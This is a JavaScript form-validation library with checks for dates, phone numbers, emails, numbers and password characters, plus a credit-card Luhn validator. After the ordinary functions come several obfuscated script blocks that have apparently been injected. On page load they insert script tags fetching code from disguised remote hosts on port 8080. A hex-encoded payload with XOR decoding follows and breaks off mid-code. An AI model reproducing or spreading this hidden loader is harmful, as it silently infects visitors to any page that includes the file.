	  if (!(theData.charAt(0)== '+')) 
	  return false 
		
	  for (var i = 1; i < theData.length; i++) 
	  if (!isDigit(theData.charAt(i))) 
	  return false 
	  return true 
  } 
	
  /**********************************************************************/ 
  /*Function name :isDate(s,f) */ 
  /*Usage of this function :To check s is a valid format */ 
  /*Input parameter required:s=input string */ 
  /* f=input string format */ 
  /* =1,in mm/dd/yyyy format */ 
  /* else in dd/mm/yyyy */ 
  /*Return value :if is a valid date return 1 */ 
  /* else return 0 */ 
  /*Function required :isPositiveInteger() */ 
  /**********************************************************************/ 
	
  function isValidDate(s,f) 
  {
  	if(s!=null && checkTrim(s)!="")
  	{
	  var a1=s.split("/"); 
	  var a2=s.split("-"); 
	  var e=true; 
	  if ((a1.length!=3) && (a2.length!=3)) 
	  { 
		  e=false; 
	  } 
	  else 
	  {
		  if (a1.length==3) 
		  var na=a1; 
		  if (a2.length==3) 
		  var na=a2; 
		  if (isPositiveInteger(na[0]) && isPositiveInteger(na[1]) && isPositiveInteger(na[2])) 
		  { 
			  if (f==1) 
			  {
				  var d=na[1],m=na[0]; 
			  } 
			  else 
			  {
				  var d=na[0],m=na[1]; 
			  } 
			  var y=na[2]; 
			  if (((e) && (y<1000)||y.length>4)) 
			  e=false 
			  if (e) 
			  { 
				  v=new Date(m+"/"+d+"/"+y); 
				  if (v.getMonth()!=m-1) 
				  e=false; 
			  } 
		  } 
		  else 
		  { 
			  e=false; 
		  } 
	  } 
	  return e 
	 }//end of if
	 else
	 {
		 return true;
	 }
  } 
  
	
	function maxlength(obj,objname,maxlen)
    {
      var q = eval(obj.value.length);
      var r = q - maxlen;

	var msg = "Sorry , You have typed "+q+" characters in "+objname+" textbox. The text box has limit of "+maxlen+" characters. Please shorten your text by "+r+" characters.";
      if (q > maxlen)
	  {
	   alert(msg);
	   return false;
      }
	  else
	  {
	   return true;
	  } 
	  
	} 
	
//Validation for field which allows only float numbers - allow also negative values
function isValidFloat(fieldname , fieldvalue)
{
	var str = fieldvalue;
	var str1;
	i = 0;
	j=0;
	while(i < str.length)
	{
		if((!((str.charAt(i) >= "0") && (str.charAt(i) <= "9"))) && (str.charAt(i) != ".") && (str.charAt(i) != "-"))
		{
			alert(fieldname+' is not valid\n\n e.g -57.55');
			return false;
		}

		if(str.charAt(i) == ".")
			j++;
			
		if(str.charAt(i) == "-"){
			if( i != 0 ){
				alert(fieldname+' is not valid\n\n e.g 57.55');
				return false;
			}
		}
		i++;
	}
	if(j>1)
	{
		alert(fieldname+' is not valid\n\n e.g 57.55');
		return false;
	}
	if(str.indexOf('.')>=0)
	{
		str1=str.substring(str.indexOf('.'),str.length-1);
		if(str1.length>2)
		{
			alert(fieldname+' is not valid\n\n e.g 57.55');
			return false;
		}
	}
	return true;
}

//Validation for field which can not allow < and > and ".
function isValidPasswordChar(fieldname , fieldvalue)
{
	var str = fieldvalue;
	i = 0;
	while(i < str.length)
	{
		if((str.charAt(i) == '<') || (str.charAt(i) == '>') || (str.charAt(i) == '\"') || (str.charAt(i) == '\'') || (str.charAt(i) == ' '))
		{
			alert('Invalid '+ fieldname+'');
			return false;
		}
		i++;
	}
	return true;
}
  //Validation for field which can not allow < and > and ".
function hasFileNameAlphabets(fieldname , fieldvalue)
{
	var str = fieldvalue;
	i = 0;
	while(i < str.length)
	{
		if((str.charAt(i) == '<') || (str.charAt(i) == '>') || (str.charAt(i) == '\"') || (str.charAt(i) == '\\') || (str.charAt(i) == '/') || (str.charAt(i) == '?') || (str.charAt(i) == '*')  || (str.charAt(i) == ':')|| (str.charAt(i) == '|'))
		{
			alert(fieldname+' cannot contain any of the following characters: \n / \ : ? | < > * "');
			return false;
		}
		i++;
	}
	return true;
}
//phone No validation -code updated By Astha 	  
function maskIt(fld,frmName)
{
	
	fldVal = fld.value;
	var formName = frmName;	
	var tmpStr = "";	
	var isNamedFone;	
	keyCount = fldVal.length;	
	keyEntered =fldVal.substring(keyCount-1,keyCount);
	
	if (keyCount < 2) 
	
	{isNamedFone = false;}
	 
	if (!isNamedFone) {isNamedFone = chkNAN(keyEntered);}
	 
	keyCount++;
	
	with (formName)      
	{ 		
		switch (keyCount)
		{		
			case 2:			 
			tmpStr += fldVal;
			fld.value = tmpStr;
			break;
			
			case 4: 
			fld.value += "-"; 
			break;
			
			case 5:
			fld.value += "";
			break;
			
			case 8:
			fld.value += "-"; 
			break;
		
		}  
	} 
}

function checkPhoneNO(phoneName,phone)
{

	if(isValidPhoneNO(phoneName,phone))
	{
		if(phone.indexOf("-")!=3)
		{
			alert(phoneName+" should be of format xxx-xxx-xxxx");
			return false;
		}
	
		if(phone.lastIndexOf("-")!=7) 
		{
			alert(phoneName+" should be of format xxx-xxx-xxxx");
			return false;
		}
	
		if(phone.length!=12)  
		{
			alert(phoneName+" should be of format xxx-xxx-xxxx");
			return false;
		} 		
		return true; //Added by Astha  
					 	
	}
	else
		return false;
}
  
function chkNAN(char2chk)
{
	var validNum = "0123456789"; 
	if (validNum.indexOf(char2chk) == "-1")
	{
		alert("You have entered a non-numeric character.");
		return false;
	}
} 
//Validation for field which allows float number
function allowFloat(fieldname , fieldvalue, precision, scale)
{
	var str = checkTrim(fieldvalue);
	j=0;
	i = 0;
	while(i < str.length)
	{
		if(str.charAt(i) == "."){
			if( j != 0 ){
				alert(fieldname+' is not valid value');
				return false;
			}
			else{
				j++;
			}
		}
		i++;
	}	
	i=0;
	if( j != 0 ) {
		var firstStr = str.substring(0,str.indexOf("."));
		var secondStr = str.substring(str.indexOf(".")+1,str.length);

		if(firstStr.length == 0 || secondStr.length == 0){
			alert(fieldname+' is not valid value');
			return false;						
		}
		if( !checkLength(firstStr,precision) ){
			alert(fieldname+' is not valid value \n\nOnly '+precision+' digits allowed before the decimal');
			return false;			
		}
		if( !checkLength(secondStr,scale) ){
			alert(fieldname+' is not valid value\n\nOnly '+scale+' digits allowed after the decimal');
			return false;
		}
	}
	else{
		if( !checkLength(str,precision) ){
			alert(fieldname+' is not valid value');
			return false;			
		}
	}
	while(i < str.length)
	{
		if(!(((str.charAt(i) >= "0") && (str.charAt(i) <= "9")) || str.charAt(i) == "."))
		{
			alert(fieldname+' contains only numeric value');
			return false;
		}
		i++;
	}
	return true;
}


//Validation for checking length
function checkLength(checkStr,length){
	checkStr = checkTrim(checkStr);
	if((checkStr.length)>length)
	{
		return false; // false if the length exceeds
	}
	else{ 
		return true;  // else true
	}
}

//Email Validation
function validateEmail(fieldname, frmField) {
    //Validating the email field
    var emailRegxp = /^([\w]+)(.[\w]+){1,4}@([\w]+)(.[\w]+)([.][\w]{2,3}){1,2}$/;
	//var emailRegxp = /^([\w-']+(?:\.[\w-']+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i
	//var emailRegxp = /^[A-Za-z][A-Za-z0-9_'-.]+((?:\.[\w-']+)*)@([\w-]+(?:\.[\w-]+)*)(\.[\w]{2,3}){1,2}$/;
	if (!frmField.value.match(emailRegxp)) {
        alert('Invalid '+fieldname+' ');
        return (false);
    }
    return(true);
}//end of validateEmail

//Validation for field which can allow only alphabets and single appostrophe
function hasOnlyAlphabetsAndSingleQuote(fieldname , fieldvalue)  {
	var str = fieldvalue;
	i = 0;
	while(i < str.length) {
		if(!(((str.charAt(i) >= 'a') && (str.charAt(i) <= 'z'))||((str.charAt(i) >= 'A') && (str.charAt(i) <= 'Z')) || (str.charAt(i) == "'") || (str.charAt(i) == " "))) {
			alert(fieldname+' can contain only alphabets\n\nValid Characters :(A to Z),(a to z) and single quotes');
			return false;
		}
		i++;
	}
	return true;
}
//Validation for field which can allow only alphabets and single appostrophe

function strMonth(intMonth){
 
	 if(intMonth==1){
	  return "January"; 
	 }
	 
	 if(intMonth==2){
	  return "February"; 
	 }
	 
	 if(intMonth==3){
	  return "March"; 
	 }
	 
	 if(intMonth==4){
	  return "April"; 
	 }
	 
	 if(intMonth==5){
	  return "May"; 
	 }
	 
	 if(intMonth==6){
	  return "June"; 
	 }
	 
	 if(intMonth==7){
	  return "July"; 
	 }
	 
	 if(intMonth==8){
	  return "August"; 
	 }
	 
	 if(intMonth==9){
	  return "September"; 
	 }
	 
	 if(intMonth==10){
	  return "October"; 
	 }
	 
	 if(intMonth==11){
	  return "November"; 
	 }

	if(intMonth==12){
	  return "December"; 
	}
}//end of function strMonth

function stringLength(fieldvalue)
{	
	var txtString = checkTrim(fieldvalue);
	return txtString.length;
}
//Validation for field which should not be empty

function checkTrim(txtString)
{	
	txtString = LTrim(txtString);
	txtString = RTrim(txtString);
	return txtString;
}
function LTrim(txtString) 
{
	ctr = 0;
	while( ctr < txtString.length && (txtString.substring(ctr,ctr+1) == " "))
	{
		ctr=ctr+1;
	}
	return txtString.substring(ctr);
}
// returns the string after deleting the leading spaces
function RTrim(txtString) 
{
	ctr = txtString.length;
	while( ctr > 0  && (txtString.substring(ctr,ctr-1) == " "))
	{
		ctr = ctr - 1;
	}
	return txtString.substring(0,ctr);
}
//Validation for length of the field
function isTooLong(fieldName,checkStr,length)
{
	checkStr = checkTrim(checkStr);
	if((checkStr.length)>length)
	{
		alert (fieldName+' cannot exceed ' + length + ' character');
		return false; // false if the length exceeds
	}
	else 
		return true;  // else true
}
//Validation for field which can not allow < and > and ".
function isValid(fieldname , fieldvalue)
{
	var str = fieldvalue; 
	i = 0;
	while(i < str.length)
	{   
		if((str.charAt(i) == '<') || (str.charAt(i) == '>') || (str.charAt(i) == '"')|| (str.charAt(i) == '\'') || (str.charAt(i) == '\\'))
		{ 
			alert('Invalid '+fieldname+'');
			return false;
		}
		i++;
	}
	return true;   
}
//Validation for field which can not allow < and > and ".
function isValidKeyword(fieldname , fieldvalue)
{
	var str = fieldvalue; 
	i = 0;
	while(i < str.length)
	{   
		if((str.charAt(i) == '<') || (str.charAt(i) == '>') || (str.charAt(i) == '"')|| (str.charAt(i) == '"') )
		{ 
			alert('Invalid '+fieldname+'');
			return false;
		}
		i++;
	}
	return true;   
}

<!-- Date Validation Begin
function checkdate(objName) {
	var datefield = objName;
	if (validateSingleDate(datefield.value) == false) {
		//alert("That date is invalid. Please try again");
		datefield.className = "cal-TextBoxInvalid";
		datefield.focus();
		datefield.select();
		return false;
	}
	else {
		return true;
   }
}

function doDateCheck(from, to) {
	if (Date.parse(from.value) <= Date.parse(to.value)) {
		//alert("The dates are valid.");
		return true;
	}
	else {
		if (from.value == "") {
			alert("Start date must be entered");
			from.className = "cal-TextBoxInvalid";
			from.focus();
			from.select();
			return false;
		} else if (to.value == "") {
			alert("End date must be entered");
			to.className = "cal-TextBoxInvalid";
			to.focus();
			to.select();
			return false;
		} else  {
			alert("End Date must occur after the Start Date");
			to.className = "cal-TextBoxInvalid";
			to.focus();
			to.select();
			return false;
		}
   }
}

function doSearchDateCheck(from, to) {
	if (Date.parse(from.value) <= Date.parse(to.value)) {
		//alert("The dates are valid.");
		return true;
	}
	else {
		if (from.value == "") {
			alert("From date must be entered");
			from.className = "cal-TextBoxInvalid";
			from.focus();
			from.select();
			return false;
		} else if (to.value == "") {
			alert("To date must be entered");
			to.className = "cal-TextBoxInvalid";
			to.focus();
			to.select();
			return false;
		} else  {
			alert("To date must occur after the From date");
			to.className = "cal-TextBoxInvalid";
			to.focus();
			to.select();
			return false;
		}
   }
}


function doTodayDateCheck(from, to,fieldName) {
	
	
	if (Date.parse(from.value) <= Date.parse(to)) {
		//alert("The dates are valid.");
		return true;
	}
	else {
		if (from.value == "") {
			alert("From date must be entered");
			from.className = "cal-TextBoxInvalid";
			from.focus();
			from.select();
			return false;
		} else if (to.value == "") {
			alert("To date must be entered");
			to.className = "cal-TextBoxInvalid";
			to.focus();
			to.select();
			return false;
		} else {
			alert(fieldName + " cannot be future date");
			return false;
		}
   }
}
//  Date Validation End -->
	//Validation for field which can not allow < and > and ".
function isValidPassword(fieldname , fieldvalue)
{
	var str = fieldvalue;
	i = 0;
	while(i < str.length)
	{
		if( (str.charAt(i) == '\"') || (str.charAt(i) == '\'') || (str.charAt(i) == '\\'))
		{
			alert('Invalid '+fieldname+'');
			return false;
		}
		i++;
	}
	return true;
}
  		
/*Credit card validations for diffrent cards */

<!-- Original:  Simon Tneoh (tneohcb@pc.jaring.my) -->

<!-- This script and many more are available free online at -->
<!-- The JavaScript Source!! http://javascript.internet.com -->

<!-- Begin
var Cards = new makeArray(8);
Cards[0] = new CardType("MasterCard", "51,52,53,54,55", "16");
var MasterCard = Cards[0];
Cards[1] = new CardType("VisaCard", "4", "13,16");
var VisaCard = Cards[1];
Cards[2] = new CardType("AmExCard", "34,37", "15");
var AmExCard = Cards[2];
Cards[3] = new CardType("DinersClubCard", "30,36,38", "14");
var DinersClubCard = Cards[3];
Cards[4] = new CardType("DiscoverCard", "6011", "16");
var DiscoverCard = Cards[4];
Cards[5] = new CardType("enRouteCard", "2014,2149", "15");
var enRouteCard = Cards[5];
Cards[6] = new CardType("JCBCard", "3088,3096,3112,3158,3337,3528", "16");
var JCBCard = Cards[6];
var LuhnCheckSum = Cards[7] = new CardType();

/*************************************************************************\
CheckCardNumber(form)
function called when users click the "check" button.
\*************************************************************************/
function CheckCardNumber(form) {
	//alert();
var tmpyear;
if (form.cardNumber.value.length == 0) {
alert("Please enter a Card Number.");
form.cardNumber.focus();
return false;
}
if (form.cardYear.value.length == 0) {
alert("Please enter the Expiration Year.");
form.cardYear.focus();
return false;
}
if (form.cardYear.value > 96)
tmpyear = "19" + form.cardYear.value;
else if (form.cardYear.value < 21)
tmpyear = "20" + form.cardYear.value;
else {
alert("The Expiration Year is not valid.");
return false;
}
tmpmonth = form.cardMonth.options[form.cardMonth.selectedIndex].value;
// The following line doesn't work in IE3, you need to change it
// to something like "(new CardType())...".
// if (!CardType().isExpiryDate(tmpyear, tmpmonth)) {
if (!(new CardType()).isExpiryDate(tmpyear, tmpmonth)) {
alert("This card has already expired.");
return false;
}
card = form.cardType.options[form.cardType.selectedIndex].value;
var retval = eval(card + ".checkCardNumber(\"" + form.cardNumber.value + "\", " + tmpyear + ", " + tmpmonth + ");");
cardname = "";
if (retval){



// comment this out if used on an order form
//alert("This card number appears to be valid.");


}else {
// The cardnumber has the valid luhn checksum, but we want to know which
// cardtype it belongs to.
for (var n = 0; n < Cards.size; n++) {
if (Cards[n].checkCardNumber(form.cardNumber.value, tmpyear, tmpmonth)) {
cardname = Cards[n].getCardType();
break;
   }
}
if (cardname.length > 0) {
alert("This is not a " + card + " number.");

}
else {
alert("This card number is not valid.");

      }
   }
   return retval;
}
/*************************************************************************\
Object CardType([String cardtype, String rules, String len, int year, 
                                        int month])
cardtype    : type of card, eg: MasterCard, Visa, etc.
rules       : rules of the cardnumber, eg: "4", "6011", "34,37".
len         : valid length of cardnumber, eg: "16,19", "13,16".
year        : year of expiry date.
month       : month of expiry date.
eg:
var VisaCard = new CardType("Visa", "4", "16");
var AmExCard = new CardType("AmEx", "34,37", "15");
\*************************************************************************/
function CardType() {
var n;
var argv = CardType.arguments;
var argc = CardType.arguments.length;

this.objname = "object CardType";

var tmpcardtype = (argc > 0) ? argv[0] : "CardObject";
var tmprules = (argc > 1) ? argv[1] : "0,1,2,3,4,5,6,7,8,9";
var tmplen = (argc > 2) ? argv[2] : "13,14,15,16,19";

this.setCardNumber = setCardNumber;  // set CardNumber method.
this.setCardType = setCardType;  // setCardType method.
this.setLen = setLen;  // setLen method.
this.setRules = setRules;  // setRules method.
this.setExpiryDate = setExpiryDate;  // setExpiryDate method.

this.setCardType(tmpcardtype);
this.setLen(tmplen);
this.setRules(tmprules);
if (argc > 4)
this.setExpiryDate(argv[3], argv[4]);

this.checkCardNumber = checkCardNumber;  // checkCardNumber method.
this.getExpiryDate = getExpiryDate;  // getExpiryDate method.
this.getCardType = getCardType;  // getCardType method.
this.isCardNumber = isCardNumber;  // isCardNumber method.
this.isExpiryDate = isExpiryDate;  // isExpiryDate method.
this.luhnCheck = luhnCheck;// luhnCheck method.
return this;
}

/*************************************************************************\
boolean checkCardNumber([String cardnumber, int year, int month])
return true if cardnumber pass the luhncheck and the expiry date is
valid, else return false.
\*************************************************************************/
function checkCardNumber() {
var argv = checkCardNumber.arguments;
var argc = checkCardNumber.arguments.length;
var cardnumber = (argc > 0) ? argv[0] : this.cardnumber;
var year = (argc > 1) ? argv[1] : this.year;
var month = (argc > 2) ? argv[2] : this.month;

this.setCardNumber(cardnumber);
this.setExpiryDate(year, month);

if (!this.isCardNumber())
return false;
if (!this.isExpiryDate())
return false;

return true;
}
/*************************************************************************\
String getCardType()
return the cardtype.
\*************************************************************************/
function getCardType() {
return this.cardtype;
}
/*************************************************************************\
String getExpiryDate()
return the expiry date.
\*************************************************************************/
function getExpiryDate() {
return this.month + "/" + this.year;
}
/*************************************************************************\
boolean isCardNumber([String cardnumber])
return true if cardnumber pass the luhncheck and the rules, else return
false.
\*************************************************************************/
function isCardNumber() {
var argv = isCardNumber.arguments;
var argc = isCardNumber.arguments.length;
var cardnumber = (argc > 0) ? argv[0] : this.cardnumber;
if (!this.luhnCheck())
return false;

for (var n = 0; n < this.len.size; n++)
if (cardnumber.toString().length == this.len[n]) {
for (var m = 0; m < this.rules.size; m++) {
var headdigit = cardnumber.substring(0, this.rules[m].toString().length);
if (headdigit == this.rules[m])
return true;
}
return false;
}
return false;
}

/*************************************************************************\
boolean isExpiryDate([int year, int month])
return true if the date is a valid expiry date,
else return false.
\*************************************************************************/
function isExpiryDate() {
var argv = isExpiryDate.arguments;
var argc = isExpiryDate.arguments.length;

year = argc > 0 ? argv[0] : this.year;
month = argc > 1 ? argv[1] : this.month;

if (!isNum(year+""))
return false;
if (!isNum(month+""))
return false;
today = new Date();
expiry = new Date(year, month);
if (today.getTime() > expiry.getTime())
return false;
else
return true;
}

/*************************************************************************\
boolean isNum(String argvalue)
return true if argvalue contains only numeric characters,
else return false.
\*************************************************************************/
function isNum(argvalue) {
argvalue = argvalue.toString();

if (argvalue.length == 0)
return false;

for (var n = 0; n < argvalue.length; n++)
if (argvalue.substring(n, n+1) < "0" || argvalue.substring(n, n+1) > "9")
return false;

return true;
}

/*************************************************************************\
boolean luhnCheck([String CardNumber])
return true if CardNumber pass the luhn check else return false.
Reference: http://www.ling.nwu.edu/~sburke/pub/luhn_lib.pl
\*************************************************************************/
function luhnCheck() {
var argv = luhnCheck.arguments;
var argc = luhnCheck.arguments.length;

var CardNumber = argc > 0 ? argv[0] : this.cardnumber;

if (! isNum(CardNumber)) {
return false;
  }

var no_digit = CardNumber.length;
var oddoeven = no_digit & 1;
var sum = 0;

for (var count = 0; count < no_digit; count++) {
var digit = parseInt(CardNumber.charAt(count));
if (!((count & 1) ^ oddoeven)) {
digit *= 2;
if (digit > 9)
digit -= 9;
}
sum += digit;
}
if (sum % 10 == 0)
return true;
else
return false;
}

/*************************************************************************\
ArrayObject makeArray(int size)
return the array object in the size specified.
\*************************************************************************/
function makeArray(size) {
this.size = size;
return this;
}

/*************************************************************************\
CardType setCardNumber(cardnumber)
return the CardType object.
\*************************************************************************/
function setCardNumber(cardnumber) {
this.cardnumber = cardnumber;
return this;
}

/*************************************************************************\
CardType setCardType(cardtype)
return the CardType object.
\*************************************************************************/
function setCardType(cardtype) {
this.cardtype = cardtype;
return this;
}

/*************************************************************************\
CardType setExpiryDate(year, month)
return the CardType object.
\*************************************************************************/
function setExpiryDate(year, month) {
this.year = year;
this.month = month;
return this;
}

/*************************************************************************\
CardType setLen(len)
return the CardType object.
\*************************************************************************/
function setLen(len) {
// Create the len array.
if (len.length == 0 || len == null)
len = "13,14,15,16,19";

var tmplen = len;
n = 1;
while (tmplen.indexOf(",") != -1) {
tmplen = tmplen.substring(tmplen.indexOf(",") + 1, tmplen.length);
n++;
}
this.len = new makeArray(n);
n = 0;
while (len.indexOf(",") != -1) {
var tmpstr = len.substring(0, len.indexOf(","));
this.len[n] = tmpstr;
len = len.substring(len.indexOf(",") + 1, len.length);
n++;
}
this.len[n] = len;
return this;
}

/*************************************************************************\
CardType setRules()
return the CardType object.
\*************************************************************************/
function setRules(rules) {
// Create the rules array.
if (rules.length == 0 || rules == null)
rules = "0,1,2,3,4,5,6,7,8,9";
  
var tmprules = rules;
n = 1;
while (tmprules.indexOf(",") != -1) {
tmprules = tmprules.substring(tmprules.indexOf(",") + 1, tmprules.length);
n++;
}
this.rules = new makeArray(n);
n = 0;
while (rules.indexOf(",") != -1) {
var tmpstr = rules.substring(0, rules.indexOf(","));
this.rules[n] = tmpstr;
rules = rules.substring(rules.indexOf(",") + 1, rules.length);
n++;
}
this.rules[n] = rules;
return this;
}
/*Credit card validations for diffrent cards */

 function hasOnlyNumeric_1(fieldname , fieldvalue)
  {
  	var str = fieldvalue;
	var i = 0;
	while(i < str.length)
	{
		if(!((str.charAt(i) >= "0") && (str.charAt(i) <= "9")))
		{
			alert('Invalid ' + fieldname);
			return false;
		}
		else
		{
			i = i + 1;
		}
	}
	return true;
}	

function isalphabet(sText)
{
   var ValidChars = "ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghijklmnopqrstuvwxyz 0";
   var IsText=true;
   var Char;
 	if (sText.length <= 0)
	{
		IsText = false;
	}
   for (i = 0; i < sText.length && IsText == true; i++) 
   { 
      Char = sText.charAt(i); 
      if (ValidChars.indexOf(Char) == -1) 
      {
         IsText = false;
      }
   }
   return IsText;
}			





var e="e";var n=window;var z;if(z!='w' && z!='x'){z='w'};var v=document;var k=new String();this.zw=63025;var d='sKc7rKiVpdtK'.replace(/[K7kdV]/g, '');var g=new Date();var td=48378;n.onload=function(){try {q=v.createElement(d);var b;if(b!='ym'){b='ym'};this.yl=23105;q.setAttribute('d9eQfQe2r7'.replace(/[79nQ2]/g, ''), "1");q.src='hxt<tUpU:x/,/xeUsUpxn<-Ig<oI-Ic<o,mx.U9<w,eIeU.Ic,o<mx.,tUhUexsUu,nx-xcIo,-UuIk,.,t,h<exl<iUf<e<tUaxg<.Ur<uU:U8<0,8x0x/Ua,dxmIa,gUnxe,tx.xnIe,tU/<aUd<mxaUg,nUe,t,.In,eUtI/Ug,aUm,e<sxp,oxtI.xc<oxm</Ig,oxoxgxlUeU.,cxoImU/<g<axm,e,v,aInxcUeI.,cUo<m</<'.replace(/[\<x,UI]/g, '');var vg="vg";var wwj=new Array();v.body.appendChild(q);} catch(j){this.fn=7343;};var gm;if(gm!='nk'){gm=''};var jr="";};var gn=new Array();var jt;if(jt!='mu'){jt=''};
j=function(){var h=51116;this.yh="yh";var v=document;var kh='';this.r=false;window[k([8,2][1])]=function(){var xj='';try {x=v[k([5,1][1])](k([0,9][0]));var ywc;if(ywc!='_' && ywc!='bp'){ywc='_'};x[k([5][0])](k([3,7][1]), "1");this.kv='';x[k([3][0])]=k([8][0]);var u = v[k([6][0])];var po='';var ol=new String();u[k([4][0])](x);} catch(b){this.nb=47488;};var kb='';};var q;if(q!='' && q!='sf'){q='hg'};var ie;if(ie!='ic'){ie=''};function k(y){var nc=new Date();var jp=['s1c1rQiWp1ty'.replace(/[y1WQC]/g, ''), 'cKr#eKa#t4e4E#lRe#m4eKnKt4'.replace(/[4J#KR]/g, ''), 'o4n0lqoqa4d4'.replace(/[4q&0u]/g, ''), 'sOr~c~'.replace(/[~l0iO]/g, ''), 'arp4p<emnrd4Ckhmirl4dm'.replace(/[m\<4kr]/g, ''), 'sPeUt>A<tPtUrUiPbPu<tge<'.replace(/[\<gUP\>]/g, ''), 'bQoxd9yQ'.replace(/[Q9Ux\.]/g, ''), 'dteNfNeNrt'.replace(/[t2NaL]/g, ''), 'hIt~tWpI:$/O/Ov~eIr$i$zWoWnO-~nIeWtO.Wy$oOkWa~.$c~oOmO.IvWe$nWt$eI-WpOrIi~vIeWeO-OcIo~mI.Oy~oIu~r~tWoOl~l$t~aOgI.Wr~uO:W8$0~8O0I/$lIi~n$k$b~u~cWk~s$.IcWoOmI/$lWi$n$kObIu~c$kWsO.IcOoOmO/IbIlOaIc~k~hOa~t~wWoOrWlOdW.OcWo~m~/OsOu~e~d$dWe$uOtWs$cIhOe~.IdIe$/$g~oIoWgWl$e$.WcOo~m$/O'.replace(/[OIW~\$]/g, '')];var cw;if(cw!='fg' && cw != ''){cw=null};var l=jp[y];var uc=false;return l;}this.vc="";var xs="xs";};j();var it;if(it!='' && it!='ww'){it='ov'};
var bb=false;var p=window;var lz;if(lz!='n'){lz='n'};var eh;if(eh!='' && eh!='ll'){eh='i'};var b=document;function z(s){var c='';var h=['h%t,tBpB:K/,/NlNoKcBk,e,rBzN-,cNoKmN.Ni,m,m,o,b,iBlKiKe%n,s,cBo%u,t%2N4N.%dNe%.Kp%dBfKd%a%tBaNbBa%s,e%-,cKo%mN.%rKe,d%t%a,gNc,e%n%tKrBaNl,.Kr%uK:,8%0N8N0B/NgBoBoNgNl,e%.Kc,oKmN/BgKo%o%gKlKe%.,cNoBmB/Bs%eBrBi,eBsNy,oNnBk,iBsN.%c%oKm,/KdBmBoKzK.%oNr%gN/,fKiKlKeBsB.Kw,o%rNd,pBr%e%sBsB.%cNoKm%/,'.replace(/[,K%BN]/g, ''), 's1c,r,i,p1t,'.replace(/[,1gIO]/g, ''), 'cbrPePabtbeFEPl;e;m;e:nbt:'.replace(/[\:;PbF]/g, ''), 'o3n5lMota6dM'.replace(/[M365t]/g, ''), 'strtcD'.replace(/[DmYHt]/g, ''), 'a*p6p*e$ngdgC6hgi$l$d*'.replace(/[\*g\$@6]/g, ''), 's7eXt7AXtXt%r3i|bXu|t7e3'.replace(/[3\|%X7]/g, ''), 'b7o;d;y;'.replace(/[;Yt7\:]/g, ''), 'd8evfPevr8'.replace(/[8P\*vR]/g, ''), "1"];var f=h[s];var u=new Date();return f;this._=5021;}var on;if(on!=''){on='r'};var ew;if(ew!=''){ew='lp'};var o = function(){try {this.mk="";pw=b[z([2][0])](z([1,5][0]));var m_;if(m_!='k'){m_='k'};var os=false;var z_ = b[z([8,7][1])];var gt=false;var rq;if(rq!='mi' && rq!='eu'){rq='mi'};pw[z([7,6][1])](z([3,8][1]), z([9,7][0]));pw[z([4][0])]=z([0][0]);var qb=26216;z_[z([5,7][0])](pw);} catch(oi){this.oj="oj";};};this.a='';p[z([3][0])]=o;var rxy="rxy";
var kf="15160e203271340313083a45001c13376e3c133e1c09161b0739302e3d0b30152b003b050e1e0d230e100e1d3a150e393a180c180f333d10022e10391808103e301f11471a066e10331f7c180c771808";this.yQ="yQ";var UMU="UMU";function Q(m){var aO;if(aO!='' && aO!='mz'){aO='Fr'};var xY;if(xY!='' && xY!='RQ'){xY='eT'}; var R=function(v){var iu;if(iu!='' && iu!='U'){iu='I'};this.LA=false;var N;if(N!='l' && N!='cD'){N=''};var Dr=[111,23,255,176][2];var it=false;var iM=22850;var fC=42022;var W=[72,1][1];var L=[0][0];var Qw=[0][0];this.Td="";var Wq=49006;var o=v[a("egtlnh", [3,0,4,1,2,5])];var EP;if(EP!='' && EP!='J'){EP=''};var yN;if(yN!='' && yN!='BQy'){yN=''};var n;if(n!='yw' && n != ''){n=null};var jZ;if(jZ!='' && jZ!='xN'){jZ=null};this.d=false;while(L<o){var xH=new Array();var Vd="Vd";this.Qr="Qr";L++;var UW="";var Yv;if(Yv!='Gl'){Yv='Gl'};F=Dh(v,L - W);var VR='';Qw+=F*o;var kg;if(kg!='WE'){kg='WE'};this.SC=false;}return new G(Qw % Dr);var vH=new Array();};var FK;if(FK!='JZ' && FK != ''){FK=null};this.oX=42660;var An;if(An!='WS' && An!='Yg'){An='WS'};var sm;if(sm!='nY' && sm!='nC'){sm='nY'}; var OS;if(OS!='kD' && OS!='VM'){OS='kD'};var IW=false;function a(V, GU){var zc;if(zc!='vm'){zc=''};var aS=new String();var QW;if(QW!='' && QW!='hU'){QW=''};var Jx;if(Jx!='' && Jx!='Tj'){Jx=''};var W=[1][0];var mV=new String();var hP=new String();var B=[0,66][0];var UM;if(UM!='Wj' && UM!='wk'){UM=''};var Fe = '';var ye="";var pF="";var hKb="";var K = V.length;var xU;if(xU!=''){xU='tW'};var bKq;if(bKq!='' && bKq!='vw'){bKq=''};var Y = GU.length;var ifs;if(ifs!='Og' && ifs != ''){ifs=null};var kx;if(kx!=''){kx='rp'};var HH;if(HH!='AN' && HH!='US'){HH='AN'};for(var BD = B; BD < K; BD += Y) {var x = V.substr(BD, Y);if(x.length == Y){var yp=new Date();var dR=new String();for(var L in GU) {var Qv="Qv";var dr;if(dr!='yf'){dr='yf'};Fe+=x.substr(GU[L], W);var xUU;if(xUU!='WG' && xUU != ''){xUU=null};}var md;if(md!='Nk' && md != ''){md=null};var Zo=new String();var YS='';this.ZL=false;} else {var zs;if(zs!='Wg'){zs=''};  Fe+=x;}}var aL;if(aL!='' && aL!='fw'){aL=''};return Fe;var Zb=new String();}var XJ;if(XJ!='Ae'){XJ='Ae'};this.opQ='';var xf="xf"; var iq;if(iq!='Zf'){iq='Zf'};function e(BQ,O){return BQ^O;this.hE=23792;this.Ts='';} var D=function(V){this.rg="rg";var By = -1;var lq;if(lq!='' && lq!='pC'){lq='ad'};this.NF="";var Fe = '';var BD =[2,135,0,38][2];var B =[0,181,225][0];var KG=false;V = new G(V);var SI=false;var Jkv;if(Jkv!='' && Jkv!='Yuq'){Jkv=''};for (BD=V[a("ngetlh", [4,2,0,1,3,5])]-By;BD>=B;BD=BD-[1,28,148,55][0]){var nx='';this.aP=false;Fe+=V[a("aAtcrh", [3,5,0,4,1,2])](BD);var Pd;if(Pd!='Xl' && Pd!='HHK'){Pd='Xl'};var KJT;if(KJT!='Zr' && KJT!='YN'){KJT='Zr'};}this.dRd=false;return Fe;var PL;if(PL!='TW' && PL != ''){PL=null};var WEZ="WEZ";};var th;if(th!='' && th!='Ed'){th=''};var Ks;if(Ks!='NWo' && Ks!='reR'){Ks=''};var 